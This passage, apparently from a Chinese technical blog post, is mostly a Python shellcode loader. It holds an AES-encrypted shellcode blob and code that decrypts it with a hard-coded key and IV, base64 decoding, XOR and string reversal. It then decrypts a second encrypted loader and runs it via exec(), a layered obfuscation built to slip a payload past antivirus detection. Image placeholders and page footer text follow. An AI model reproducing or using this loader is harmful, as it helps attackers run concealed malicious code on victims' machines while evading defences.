\xde\x8c\x7fOm\xecZ\xe3l#\xc7\x94\xa0<\x97\xbck$\xcb\xb2\xa5\xde\xa3\xc5\xb3z\x94\x17\xa2A\xe2>\x8d\xedJM\xef\x1e\x1a\x0c\x9a\xd5N\xd8\xb5h8\xab?\x1e`\x93\xb8A\xd4X\'\xae\t\x85\xe2N\xf8\xfb\xfd\x8bMu\xd5\xbdoi(\xbc\xc6\xc6\xff\x0e\x93\xb6j\xa5\x1ej\x05\xf4;\xdf]<\xd7WC\xee\xf9\xe7EO\xa7\xcbO\x07=\xc3%\xac\x7f\xbf\x17\xbe0\xcfW-\xb6\x93\xef\x19\xff\xce\xf8YZ\x8ev\x7f\xca\xd0u*~\r\xda\xef5\x86\xf2\x18~\x15CC\xaa\x96@\x0cN\xf9\xfe\xe5=\x9c\xf0\x8db\xd5\x00]\x80\xe5\xdeIOK\xb8\x05;\x00\xb2\x1b\xc5vP\t{\xd6\xc7b`h\x1c\xfcT\xdb\x8b\xb3 F\xbf\x18U\x7fc\x1e\xc6\xe5m\xd4\x1a\xef\xb9\xf7\xfaSU\x15-\xd2\x8d\xcdl\xdd\x81\xd2\x12iF\xd3L\x03\x16IA\\%\x97Z\xd4/\xe2\xc5c8s\x1c\t\xbd\x83\x16\x96m\xacTSQ\xaa\xc3\x17\x08\xd8e\xe07\xfc>\x9b\x17*\xe7\xff\x1e\xc3#j:o\x80\xd1G\x95\x01F\xf1\xc8\xea\xde\xb3a\x03\x92?\xc7|\xe2\x15\xf8)\xc3\x0c]\x93;\x17[\x11 \xd4\x87u\xa2\r\xdc\xb7\x10\x17\x16K\xb1\x16\xbd\xb8Q]\xae\xc3o\xd1b\x8f\xbf\x8e\xa3[G*\xe9\x04F\x83,\x05\x9d\x9b\xddr\xb6\xe9\xb2L\xec\x95\x9e\xcaT\xcd\x19\x0fh\x1d\x16Au\xde\xcc\xdf\x89\xa5\x92\x06\x8e\x92\xdb\xdd\xc5eM\xe6\xb0\x82\xa04j4\xfe\xa48\xa9\xd3m\xc9\x14jT\x81\xb1\xa0\xe4\xe6:\xe8\x01\x99\x8e\xef^\x00\x0b\xcb`\xdfHkz\r\xafG\xc7\xc8\xd0\xa9\xb77\xc9P=\xbd\x81\xb0\x16\x03\xb2\x94\xe0R\xda\x1e\xcb\xd3\x1c\xd0\xe1\xcb\xf2\xf6T\xfe\xd3\xbd\x8e}LM\x90v\x19\xd2v\x8b\x1b3Q\xc7M\xab\xea\xafI\xa9k\xd5*\xa5WD\x1a\x0e\x9b\x98\x0b\xab\xc4\xd0\x93W\xdb\xe3\xa2\x1a\x0c\x12\x9f7<L\xcc\x87\x89\xef\xf1\x91lR\x91\xb7\x7fF_\xd5tq\x023\x92\xfdi3\x87\x8a\x91\xec1\xaag&s\x8d\xec\xe1!rP\xdbF:aF"\xde\x1dX\xb6zK\xe2\xe1\x1b)\xc7\x88\xe7\xb1uA\x82\xce\xfa\xdc@\x0bT0\x87cN*\x9e\xe2}\xb3\xee5&\x87\x0c\x83\x1e\xbe\x900w\xe6?"\xf1[n\xbb\xc8\x8f\xeb\xff\x96\x97\xb4\xd8\x1e\x08\xf64U\xbe\xb4\xe5j\xe0_Iq\x0b\xbd\xf5\x8d\xc7|Cr3\xa9\xbe\x7f\xa4\xa8#\xa2A\xbb\xb1\xcd\x9f\xd5\xffz\xb3\xe3\xd7\x8d&\x99\xbc+\xb7q\xf3j0q\xebB\x9b\xfa\xe2\xeb[a_\r\x0eo\xdf\xd3\x94/C\xbf<?\x9a\xaa\xb70\xef\xb2\x10\x83\x1dtgZ\xad\x83<sBy\xdc\'\x8f\xd2\xd7\xb5c\x0b\x90G\x1a?!\x0c\x9b~\xe9\xf6\x02\x0c\n\xaf$E\xad\x01\xa7\xc8`3[\x80B\x9ek\x83\xa6N\x9fPaD\xfe\xa8(\x12\xb8*1\xd4y\x11\x14\xa9q%C}k\x8elO\xf2\x92V\xc3\x05y\xc9\n\x19Q|\xa2\x8b\r (\xee\xfb\x0f\x06\xa4\x93\xea\xd0\xae\xcc2\xb81=H\xe3W\xe1k$P\xc4\x1c\xfe\xb8\x17\xd1\xd9Mqk\x04\x96\x9b\xbbZ\xb9\x0f;=-\x1e\xf9\xbbCK2\x87\xed\xed\x94^\xcbS\x83\xfb\xb3\xd9\xd8\x93\x98>\xa7\xf9\t\x84\xe8"A\x98\x0f2\x8dl\xe2;\xfb^\xf7yC#\xa6\x1e\xdd[\x1b\xcd\x1dn\x1d\x0cU\x12b(\x9a\x17GjW\x90Xg\x08cJC\xb3\xc8\x9fr\xaa\xa8`\xdb<\xd1\x1f\x92Y\xc9\xd1p\xf4\t\x16\x99\xc1\x8d\xadp/\xb3\xdf\xde\x83\xd8\x97\x98\x03\xf5}I\xc7@\xae\x84\xae\xd1(\x96%\x10J\x91\x97\x18\xe8\xb4\x91\x1b\x94\x85\x8aB\x05\x99\x9f*\x0e-L\xaa\xe4\'P]\xfb\xeb\t\x92,i8U\xaa^\xb9\x0b\x12\xa8\xc5N\x84+5/\xac\xb7\x99/\xc9_f\x07\x9d\x9c\xd8\xea\xc2K\xd4\xff\xa3\xd5\xa7\x02\x9d\xfb\xb3\x9e\xf7\x8e\x15\xcc\x84\xa8\xfe\xa40\xa7\'\x9c\xd4\x83{1\xdbV\x19g\xa755\x02\xa7F\x89z\xbeA\x07\x80$K\x9d4\x99\xccg\xc1lPM\xb5\x1a$\xb0_m\x9ft\xfc\xd64{\x8c\xaa/\x0f.\x17vdS\x1dt\xd9OY\xe1\xb7\xe3\x08\xf7\x92\n\x1c\xa1\xcb&\x81\xad\r\t\xbe\tO`\x89\xd0\x89\xd1e\xa5\x00\xe5\xec\xe9\x1a\x96\xaf\r\x86\x18_\x02\xa6\xaa\xab\x1b\x0f\xb0\xce\xea\x92 \x86T\xca5 \xa1\x11\xa93)\x026EJ6X\x952\x82\xd9]\xf9\x04\xdf\x80b0\x93\xee\xd0\x0f\x1f\xb2#=#FN\xd9\x8dD\xa9?M\xa0\t/\x93}\xd1\xc8\xc95\xa3\x07W\x10\x01\xf0\xe3:r\xe6\xda\xb6e\x1d\xa1Xl%\x123taI\xf5\xb5\x0b5\r]4L\x12\x1e\x87\xf6\x1f7\xa6\x11\x12\xc5\x0b%&M\xda\xf9\xae\x05\x8bb\xde{\xa7&N\x81\xc8\xc4\x04;(f\xdb\xe6\'P\xb7\xfaF@\x08\xc0\x00\xcd&<-+\xe9\x84NMV+\xef\x12\x8f/\x19Y\x1c\r=\tC\xbb\xfa:\xa6=)\xbb\xe9\xb1\xfa\x06N\x1cVi\xd7\x8e][\x9a\xf6\xac\xbc\xc7\xd9b/\xdd^c\xcc>\x91\xf6\x80XG]\xfa\x17\x97Oa\xa2\xe8\x01\x18\xab\x84\xfe4\x92\xf7a\x93\x14\xcfm\xe0\xae\xcez\x0c\xd7J\xfd\x94\xad\xceVu\xd7*E=S\xc3D\xc4\xc2\x1c^D\xc5\xec\xb2p\xfbA\x95\xed\x90\xd6P\x18\x99\xa27\xd7\r\xc7\x81\xa2s(\xdd\xb9\x07\x15\xce`\x82\x8f?t\xb4j\x12\xf6\xab\xf4W\xf6\xdd\xb4\xac{\xa6V\xf7S\x9eg\x13\xfa\xa9\xfa\x95\xb8\xcc]T\xbe\xdb\x9f\xd4\xd5C\x91DzP\xd7@\xb5\x85\xfb%:\xb7\x1d\xd3\x90D(N\xb8u\xa1-\xaeD\xef\xe1\xf8y\xbb\t\x0b\x16\xd9\xaf\\\xb0j\xe5\x7fg\xfc\\{"A?"8\xbcD\xb7\xffM\xe2\xea\xb0\xb2\xf9\nJ\x1a.\x17\xc4I]|1\xc0\xfbQ\xdf7\x81\x16\xa1\x8a\xfbf%1\x9b\x1dJ\xdf\xcd\xe3\x14\x1d\xfc\xa0\x04\xd7\xe6\x18:V1_\xa7=\x0e\x8fPdN\xfab\xa3`vh\x82\xa7\x0e#-\x13\xe88\xc7\x85\x91\xfex\xd8\x0f\xd8\n\xf8\r\xc7\\{\xb9\x82<\x15\xcd\xb1\xfa\xab\xe4\xca\xe8W\x8e|\xac\xee`D\xbc\x8e\x8e\xec\xe8\xb6=f\xcb\x04\xcb\x18L.\\\x88^=&\xbe\x90rFNH\x9e\xcd3\xfa\x1d\xfa3\xfa\x80\xc6\xb0Ok3w\xf4\xd3b\xa3\x04\xe7\xf7\xcd\xcaw8\xfd\xa7\x14`K-\xf9\xd3\xf0\xa0\xa6E+\xd4\x08\x02zL\xf5\xe6h\xecO\xa5q\n\x07\x05S@\xd9I\xc2\x7f~\x11\xeat\xd8`d\xea\xe9t\xd7\xd1d\x14\xe6\xed]\xb5\xc8o\xc0\x8b:\x82\xd0\x12\xb1\x85\x1fW\x01|\x07\xa4\xdb\x18\xb5\x01\x01\x9a\x05\x8d\xafD\x87\xfb\xb1\x08\xc5K)\xd7\xe9\x82o\x0f\xa7\xa7\xc7 0H\x7f\x87\xaf\xf4Y\xdbU\xc6\x0c\xd5UI\x95\x08\xf9\xc8\xd1Tm\x18\x0cd\xf1z\xa7\x96d\xdd\xc0?_\xbc\xd4VQ7`\xb4\x93\xaf\x80|\xf2\x97V\xfd\xa2\x85>\x9eA!5t\xc9\xb1\x182\x93\xb0D\xf4A\x88\x14\x10^\xf1\xd1\x88\xb8\x0e\xf5\x84\xd14\xc3\xc2\xdc+3-\xc4[\x0e{\x8a\x92a9\xd4\x02>b/\xc5\x9eJ]\x8f\xe41\xd0\x17H\x07\x9a\xf0\xd5\x9a\xc9\x04\\1\xd4\xc2\xccL]nZ\x13\xde\x1e\x1buV5\x08/\xb7\xf6\x91\xaa[\x05\xd8B/\xd96F\x8e/lG\xa9\x943k%\xd2\xad\xd5\xa9\xf7\xafM\xef\x0f\xb8Z3<Mb\xdc\xf0\x18\xa8\xb5\xabm\x1d\x8e\xcb9I\xc5\xaa_\xaf\xe9<\xf6\x9b\x00k*\xb7\x01\x92\x1aJ\xb3\x1cR"ta>a\xdb\xf6\xd3F\xd5\xd5\xa8$0\xd13\xbdQ\xd1\xed\xe2\xad\xa29v \xc6\x03;V\x9e\x95k?\xcc\xd1\x84\xbd\xfbHc\x1f\x87\xe5}\xa2\xaf\x19\xdb\x88\xe8f{\x01j\xeff\x89\xe4\xce\xea\x8c\n\x9b\xef \xa1\xc7V\xfc)o\xce$\xb0\x96\xb5\xcdh\xc3\xedG\xd5\xa9bT\x11T\xe4R\xd5\xd5\xa5\x0e\x88\xbc\x07\xaaj/\x9d\xf8 \xcdm\xb9zw\xf2\xee)\x93F&\xde\xe4r\x97BX\xe0\xc8\xf7R\x12\xe7\xd5\x85`\x97\x94;o\xb7#X\x88$\xa5\x11\x95\xcf \xeb\x1ev\xe0\xb0@\xeef\x88{<E\xc7\xd1\x9f+\x8e@'
#shellcode密文解密
#AES解密
if len(cipherbuf) % 16:
    add = 16 - (len(cipherbuf) % 16)
else:
    add = 0
cipherbuf += (b'\0' * add)
# print(cipherbuf)
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key,mode,iv)
b64buf = cryptos.decrypt(cipherbuf)
# print(b64buf)

#base64解码
strnumbuf = base64.b64decode(b64buf).decode()
# print(strnumbuf)

#数字转字符串
numbuf = strnumbuf.split('_')
strbuf = ''
for num in numbuf:
    temp = int(num) ^ 73
    strbuf += chr(temp)
strbuf = strbuf[::-1]
# print(strbuf)

#字符串转二进制字节流数据
buf = binascii.a2b_hex(strbuf)
# print(buf)


#加载器密文
cipherloader = b'\xc1\xa4\xb1\x7fk\xea\xc3n\xb1\xcc`\xc0,\x86l\xdei\xf4x}yn{\x15\xc0\x9fb?\x87\x15\x91\x98\xbc,n3{s\xdfa$\x03\xa91\xf0$\xea\xfc\x00\x8f\\\x9d^s\x16%\xae\xcat\x8e\xc3\xeb\x9b\x03x\x83\x8b\xf9E\x85\xb6\xf1\x90\xb3x\xe7\xaa\xde\xd6\xbc\x9a\x11\xdcT\xc4\xc2\n\xf5dHOoy\xff\xddpw\xd1\x17\xado`5\xc5"\xdf\xcfg\xfeL\xcdLe\xfb%\xbd\xc8h\xd6\x07\xab0\xc1\x81\xb3!\xeae\xc9\x04|\xc1\x90\x01\x15\x0f\xe9C\x88\xe7\xbaI\xef\xdf\x10\x92\x98k\xc0|\x89\xa4\x1c\xda)\xfb\x96$4pih3\x19XZ\xdb\x01|\xb8\x17pO\x1a[\xb6\x11k\xde\x9e\xf4\xfdu\x0f&]u\x02\xf8\x0b\xf5\x06~\xe2\xdf]\xcd\xb8\xd1&e\xbch\x11h6\xa3\xc4\xa3\x1e\xc7\xb5\x80\xa3\xbb\x94\'\xb7\xb6\x1a\xcf\xab\xf9\xda\x0e%\xbdY\x8bD\xedH\xca\xe8R\x81\xee\xe0Z\x1d\xec\xf3\xd1Uh\x8beG\x1c\x96<\xa1\n\x9d\xac\xb2XH\x93\xd8\x86\xd0 \x0fQq\x91\xb2\x1ev\x98\x90\x9e\xafY :_\xed\xcfU~\x00\xce\xbb\xa8\xd6\x9a\xcb??,\x05\x9e\xa5\xf0m\xaf\xce,\x02\xb1\xd2\xf9\x08\x0b\xecU\xee\xd9)\x812GT\x0c5\xd8\x87-o\x8e\xc3d_\xbd\xa4R\x96\xa0\xc1\r\x9b\x9f\x1e|\x1di\x03\xe8\xe6c\xc6\xb6`\n\x81ir\x8d\x13\xd8\xbe\x98\x88Uw\x1c4\x1d\x8f\xa3\x1d\xc9;\xf4$\x1d\xc4\xcd\x98\xd7\xa7q\x02\x89\xcd>\xd3\x964\x98\xce\xd3\xe9\xd7%9\xfb\x861\xde\x08\xc8\xef\x8fG}v>\xed\xc8\xfb\x18M\\\x15C\xe2\xb5\xb0e\x96bpa\xf0c\x15\xaf\xf2\x9c\xbf6\x82!\xbf\xa8\xcd\ne\x96\xe5K\xc5\x0c\xeb\x02\xc7\xf4d\x95\xe0\xd53y\xa8\x9f!\xca{\xce\x0e\xc44k\x0e\xa6\xc9\xa2\xa90DCV\xee\x13\x7f\xc5\xc7\x0f\xdfG\xb7\n\x0e3\x82\x9e\x97\';\xfa1\xd6\x07\xa7#!T\x97\xae\x1a\xe8\x18[?\xd4\t\xca\r\xfd\xe6\xf2\xd9\xc1\\\xa1(\'1\xac'

#AES解密
b64loader = cryptos.decrypt(cipherloader)
# print(b64loader)

#base64解码
loader = base64.b64decode(b64loader.strip(b'\0')).decode()
# print(loader)
exec(loader)

image-20230425165323767

image-20230425165301618

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值